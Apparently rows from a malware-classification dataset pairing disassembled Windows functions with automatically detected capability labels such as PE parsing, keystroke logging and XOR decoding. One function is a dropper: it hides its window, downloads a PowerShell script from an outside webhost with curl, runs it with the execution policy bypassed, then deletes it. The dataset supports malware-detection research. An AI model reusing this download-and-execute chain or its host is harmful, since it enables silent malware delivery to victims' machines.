joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180025f6c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180024558
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180024558
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1800260bc
cmp rax, 0xffffffffffffffff
je 0x1800260bc
xor edi, edi
test rbp, rbp
jle 0x180026067
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1800186a8
mov rbx, rax
test rax, rax
jne 0x180025ff4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18002605d
mov edx, 0x8000
mov ecx, r14d
call fcn.180025df0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18001f874
cmp eax, 0xffffffff
je 0x18002603d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x180026004
mov edx, r15d
mov ecx, r14d
call fcn.180025df0
jmp 0x18002605d
cmp byte [rsi + 0x38], dil
je 0x180026054
cmp dword [rsi + 0x34], 5
jne 0x180026054
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x18002605d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.180018720
jmp 0x1800260d0
jns 0x1800260d0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180024558
cmp rax, 0xffffffffffffffff
jne 0x180026088
cmp byte [rsi + 0x30], dil
je 0x1800260d0
mov edi, dword [rsi + 0x2c]
jmp 0x1800260d0
mov ecx, r14d
call fcn.180020028
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1800260d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1800260d0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1800260c9
mov eax, dword [rsi + 0x2c]
jmp 0x1800260ce
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180024558
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x180027040
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180027068
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180027068
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a8c0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a8d0]
mov dword [rax], 1
mov rax, qword [0x14000a8e0]
mov dword [rax], 1
mov rax, qword [0x14000a860]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a8b0]
mov dword [0x14000e020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000a990]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000a970]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a810]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x1400016be
Capabilities:
Create process on windows
Delete file
Execute command
Get common file path
Hide graphical window

Disassembly:
push rbp
sub rsp, 0x700
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x460]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
test eax, eax
jne 0x140001730
lea rax, str.Error_getting_temporary_directory_path_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400018cf
lea rdx, [rbp + 0x460]
lea rax, [rbp + 0x570]
mov r9, rdx
lea r8, str._sdownloaded_script.ps1
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rcx, [rbp + 0x570]
lea rax, [rbp + 0x260]
lea rdx, str.https:__redstir420.000webhostapp.com_lol.ps1
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str.curl.exe__o___s___s
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x260]
mov rcx, rax
call sym.system
lea rax, [rbp + 0x1f0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x1d0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x1f0], 0x68
mov dword [rbp + 0x22c], 1
mov word [rbp + 0x230], 0
lea rdx, [rbp + 0x570]
lea rax, [rbp - 0x30]
mov r9, rdx
lea r8, str.powershell__ExecutionPolicy_Bypass__File___s___NoProfile__NoLogo
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x1d0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x1f0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x14000187d
lea rax, str.Error_creating_process_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400018cf
mov rax, qword [rbp + 0x1d0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x570]
mov rcx, rax
call sym.remove
mov eax, 0
add rsp, 0x700
pop rbp
ret

Function at 0x140001ba0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140001c10
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14000e104]
mov r12, rcx
test ebx, ebx
jle 0x140001d40
mov rax, qword [0x14000e108]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x140001c5b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x140001ce5
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x140001c40
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x140001d62
mov rax, qword [0x14000e108]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001d47
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001cde
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001cf0
add dword [0x14000e104], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14000e108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001cde
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x140001c68
mov rax, qword [0x14000e108]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400022e0
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x14000e160]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e140]
test rbx, rbx
je 0x14000233c
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140002333
test r12, r12
je 0x140002333
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002318
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002570
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002588
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002590
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400025a0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x1400025e5
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x1400025dc
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x1400025e7
add rax, 0x28
cmp rax, r9
jne 0x1400025c8
xor eax, eax
ret

Function at 0x1400025f0
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x140002680
mov rdx, qword [0x14000a860]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x14000266e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000266e
cmp word [rax + 0x18], 0x20b
jne 0x14000266e
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x140002680
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x140002659
add r12, 0x28
cmp r12, rsi
je 0x140002680
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x140002650
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x140002690
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a860]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400026b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400026b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026b0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002705
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400026fc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400026b0
add rax, 0x28
cmp rax, r9
jne 0x1400026e8
xor eax, eax
ret

Function at 0x140002710
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a860]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002730
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002738
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002730
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002750
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a860]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002770
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002778
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002770
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x1400027b8
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400027af
test rcx, rcx
je 0x140002770
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400027a0
xor eax, eax
ret
Function at 0x1400027c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a860]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400027e0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1400027e8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140002800
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a860]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002820
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002828
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002820
sub rcx, rdx
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140002820
lea eax, [r8 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop dword [rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x14000286c
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002880
add rdx, 0x28
cmp rdx, r9
jne 0x140002858
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002890
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000a860]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400028b2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400028c0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400028b2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400028b2
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x1400028b2
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14000290d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002920
add rdx, 0x28
cmp r10, rdx
jne 0x1400028f8
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14000292f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14000293f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002916
test ecx, ecx
jg 0x140002928
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140014360
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x10040
call fcn.140030cb0
sub rsp, rax
mov rbx, rcx
xor edx, edx
lea rcx, sym.imp.gdi32.dll_SetDIBitsToDevice
nop
movzx eax, byte [rdx + rcx + 0xb0310]
inc rdx
cmp rdx, 8
mov byte [rsp + rdx + 0x1f], al
movzx eax, byte [rdx + rcx + 0xb0097]
mov byte [rsp + rdx + 0x27], al
jl 0x140014380
lea rdx, str.AU3_
lea rcx, [rsp + 0x10058]
call fcn.140017e10
lea rdx, [rsp + 0x10058]
lea rcx, [rsp + 0x30]
mov r8d, 4
call fcn.140016710
xor edi, edi
nop
mov r9, qword [rbx]
lea rcx, [rsp + 0x40]
mov edx, 1
mov r8d, 0x10000
call fcn.140019a28
cmp eax, 0x18
jl 0x14001444c
lea r10d, [rax - 0x14]
xor ecx, ecx
mov r11, rax
test r10d, r10d
jle 0x140014426
lea rdx, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
movzx eax, byte [rdx + r8]
cmp byte [rsp + r8 + 0x20], al
je 0x14001443e
cmp r9d, 0x14
je 0x1400313d0
inc ecx
inc rdx
cmp ecx, r10d
jl 0x140014400
mov rcx, qword [rbx]
mov edx, 0xffffffec
lea edi, [rdi + r11 - 0x14]
lea r8d, [rdx + 0x15]
call fcn.140019e98
jmp 0x1400143d0
inc r8
inc r9d
cmp r8, 0x14
jl 0x140014406
jmp 0x140014412
mov eax, 3
mov rbx, qword [rsp + 0x10050]
add rsp, 0x10040
pop rdi
ret
lea edx, [rdi + rcx + 0x14]
mov rcx, qword [rbx]
xor r8d, r8d
call fcn.140019e98
mov r9, qword [rbx]
mov edx, 1
lea r8d, [rdx + 3]
lea rcx, [rsp + 0x10058]
call fcn.140019a28
lea rdx, str.EA06
lea rcx, [rsp + 0x10058]
mov byte [rsp + 0x1005c], 0
call fcn.140019a60
neg eax
sbb eax, eax
and eax, 4
jmp 0x140014451

Function at 0x140014530
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x1d0
mov rdi, rcx
mov rsi, rdx
lea rcx, [0x14009b6c0]
or edx, 0xffffffff
call fcn.140014470
lea rcx, [rsp + 0xc0]
mov rdx, rax
mov rbx, rax
call fcn.140017e10
mov rcx, rbx
call fcn.140016a60
lea rcx, [rsp + 0x30]
call fcn.140014620
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x30]
call fcn.1400146b0
xor ebp, ebp
mov dword [rdi + 0xc], ebp
mov rdx, rbp
mov ecx, ebp
movzx eax, byte [rsp + rdx + 0x30]
add rdx, 4
add ecx, eax
movzx eax, byte [rsp + rdx + 0x2d]
add ecx, eax
movzx eax, byte [rsp + rdx + 0x2e]
add ecx, eax
movzx eax, byte [rsp + rdx + 0x2f]
add ecx, eax
cmp rdx, 0x10
jl 0x14001459d
mov dword [rdi + 0xc], ecx
lea rdx, [0x14009e810]
mov rcx, rsi
call fcn.1400195fc
mov qword [rdi], rax
test rax, rax
je 0x140033c60
mov rcx, rdi
call fcn.140014360
test eax, eax
je 0x140033c6a
mov rcx, qword [rdi]
mov ebx, eax
call fcn.140019694
mov eax, ebx
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov eax, 1
jmp 0x1400145fd
mov r9, qword [rdi]
mov edx, 1
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0xf]
call fcn.140019a28
lea rdx, [rsp + 0x20]
mov r9d, 0x99f2
mov r8d, reloc.WSOCK32.dll_recv
mov rcx, rdi
call fcn.140058f00
mov dword [rdi + 0xc], ebp
mov ecx, ebp
movzx eax, byte [rsp + rbp + 0x20]
inc rbp
imul ecx, eax
cmp rbp, 0x10
jl 0x140033c9e
mov dword [rdi + 0xc], ecx
mov rcx, qword [rdi]
call fcn.140019d7c
mov dword [rdi + 8], eax
xor eax, eax
jmp 0x1400145fd
Function at 0x14001d2a8
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xa0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov eax, 0x5a4d
cmp word [sym.imp.gdi32.dll_SetDIBitsToDevice], ax
jne 0x14001d331
movsxd rax, dword [0x14000003c]
lea rdi, sym.imp.gdi32.dll_SetDIBitsToDevice
add rax, rdi
cmp dword [rax], 0x4550
je 0x14001d2f3
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x14001d341
mov ecx, 0x20b
cmp word [rax + 0x18], cx
je 0x14001d309
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x14001d341
cmp dword [rax + 0x84], 0xe
ja 0x14001d31d
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x14001d341
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0xb0], ebx
jmp 0x14001d341
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
lea rdi, sym.imp.gdi32.dll_SetDIBitsToDevice
mov ecx, 1
call fcn.140020ca8
test eax, eax
jne 0x14001d371
cmp dword [0x1400b4558], 1
jne 0x14001d35d
call fcn.14001ef68
mov ecx, 0x1c
call fcn.14001ed40
mov ecx, 0xff
call fcn.140016fe0
call fcn.14001d88c
test eax, eax
jne 0x14001d39c
cmp dword [0x1400b4558], 1
jne 0x14001d388
call fcn.14001ef68
mov ecx, reloc.WSOCK32.dll_recv
call fcn.14001ed40
mov ecx, 0xff
call fcn.140016fe0
call fcn.14001f200
nop
call fcn.140021c60
test eax, eax
jns 0x14001d3b5
mov ecx, 0x1b
call fcn.140016f74
call sub.KERNEL32.dll_GetCommandLineW
mov qword [0x1400c8ac8], rax
call fcn.1400294d8
mov qword [0x1400b4550], rax
call fcn.1400293e8
test eax, eax
jns 0x14001d3e0
mov ecx, 8
call fcn.140016f74
call fcn.140029118
test eax, eax
jns 0x14001d3f3
mov ecx, 9
call fcn.140016f74
mov ecx, 1
call fcn.140017080
test eax, eax
je 0x14001d408
mov ecx, eax
call fcn.140016f74
call fcn.1400290bc
test byte [rsp + 0x6c], 1
movzx edx, word [rsp + 0x70]
mov r9d, 0xa
cmovne r9d, edx
mov r8, rax
xor edx, edx
mov rcx, rdi
call fcn.1400120d0
mov edi, eax
mov dword [rsp + 0x20], eax
test ebx, ebx
jne 0x14001d43f
mov ecx, eax
call fcn.1400172bc
call fcn.1400172d4
jmp 0x14001d460
mov eax, edi
jmp 0x14001d469
mov rbx, qword [rsp + 0xb8]
add rsp, 0xa0
pop rdi
ret
sub rsp, 0x28
call fcn.14002956c
add rsp, 0x28
jmp 0x14001d2a8
Function at 0x14007af00
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
xor eax, eax
mov r12, r9
mov r15, rdx
lea ebx, [rax + 1]
mov edi, eax
mov ebp, eax
cmp qword [rdx + 8], rax
je 0x14007b0d6
mov rsi, qword [rsp + 0xc0]
mov r14, qword [rsp + 0xb8]
mov r13, qword [rsp + 0xb0]
mov byte [rsi], al
mov byte [r14], al
mov byte [r13], al
mov byte [r9], al
movsxd rdx, edi
mov rcx, r15
call fcn.140043480
cmp word [rax], 0x2b
je 0x14007af84
cmp word [rax], 0x5e
je 0x14007af7e
cmp word [rax], 0x21
je 0x14007af7e
cmp word [rax], 0x23
jne 0x14007afad
cmp word [rax], 0x2b
jne 0x14007af8a
mov byte [r12], bl
jmp 0x14007afa9
cmp word [rax], 0x5e
jne 0x14007af96
mov byte [r13], bl
jmp 0x14007afa9
cmp word [rax], 0x21
jne 0x14007afa1
mov byte [r14], bl
jmp 0x14007afa9
cmp word [rax], 0x23
jne 0x14007afa9
mov byte [rsi], bl
add edi, ebx
jmp 0x14007af5b
movsxd rdx, edi
add edi, ebx
mov rcx, r15
mov dword [rsp + 0x98], edi
call fcn.140043480
mov rsi, qword [rsp + 0xa0]
movzx ecx, word [rax]
cmp cx, 0x7b
jne 0x14007b0a6
lea rcx, [rsp + 0x30]
mov edx, 0x40
call fcn.140011880
mov rcx, qword [rsp + 0x90]
lea rax, [rsp + 0x98]
lea r9, [rsp + 0x30]
mov edx, 0x7d
mov r8, r15
mov qword [rsp + 0x20], rax
call fcn.140071280
test al, al
je 0x14007b08c
lea rdi, [0x1400b0bf0]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rdi]
call fcn.140016d8c
test eax, eax
je 0x14007b03a
lea rax, reloc.WSOCK32.dll_accept
add rdi, 8
add ebp, ebx
cmp rdi, rax
jl 0x14007b017
cmp ebp, 0x62
jne 0x14007b078
lea rcx, [rsp + 0x30]
xor edx, edx
call fcn.140002170
movzx ecx, word [rax]
call qword [sym.imp.USER32.dll_VkKeyScanW]
movsx ecx, ax
bt ecx, 9
mov dword [rsi], ecx
jae 0x14007b063
mov byte [r13], bl
bt ecx, 0xa
jae 0x14007b06c
mov byte [r14], bl
bt ecx, 8
jae 0x14007b09a
mov byte [r12], bl
jmp 0x14007b09a
lea rcx, sym.imp.gdi32.dll_SetDIBitsToDevice
movsxd rax, ebp
cmp byte [rax + rcx + 0xb0f00], 0
je 0x14007b090
xor bl, bl
jmp 0x14007b09a
movzx eax, byte [rax + rcx + 0xb0f70]
mov dword [rsi], eax
lea rcx, [rsp + 0x30]
call fcn.140002610
jmp 0x14007b0ce
call qword [sym.imp.USER32.dll_VkKeyScanW]
movsx ecx, ax
bt ecx, 9
mov dword [rsi], ecx
jae 0x14007b0bb
mov byte [r13], bl
bt ecx, 0xa
jae 0x14007b0c4
mov byte [r14], bl
bt ecx, 8
jae 0x14007b0ce
mov byte [r12], bl
and dword [rsi], 0xff
mov al, bl
mov rbx, qword [rsp + 0xa8]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x141e1adf4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x141e1adfe
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x141e1ae27
pop rbp
sub rbp, 0x33
sub rbp, 0x1e1adf4
sub rsp, 0x20
jmp 0x141e1ae46
mov rax, 0x1e1adf4
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
call 0xc6a22f9c
add byte [rax], al
add byte [rax - 0x39], cl
ror dword [rbx], 6
add byte [rax], al
mov rdx, 0xd8ff120
xor byte [rax], dl
inc rax
dec rcx
jne 0x141e1ae65
jmp 0x141e1ae7c
push 0xffffffffa9abc9a9
sbb al, 0x20
and byte [rax], ah
push 0x2128e1a1
and byte [rax], ah
push 0xffffffffe768c921
loopne 0x141e1aebc
and byte [rax], ah
and byte [rax - 0x19], ch
loop 0x141e1aea2
and byte [rax], ah
and byte [rax - 0x29], ch
ret 0x2168
loope 0x141e1ae4f
movabs eax, dword [0x70c821682020202c]
jo 0x141e1af17
cwde
invalid
cdq
and dword [rax], esp
and byte [rax], ah
and byte [rax + 0x21], ch
leave
push 0x51de079a
push 0x20202020
enter 0x2025, 0x20
and cl, cl
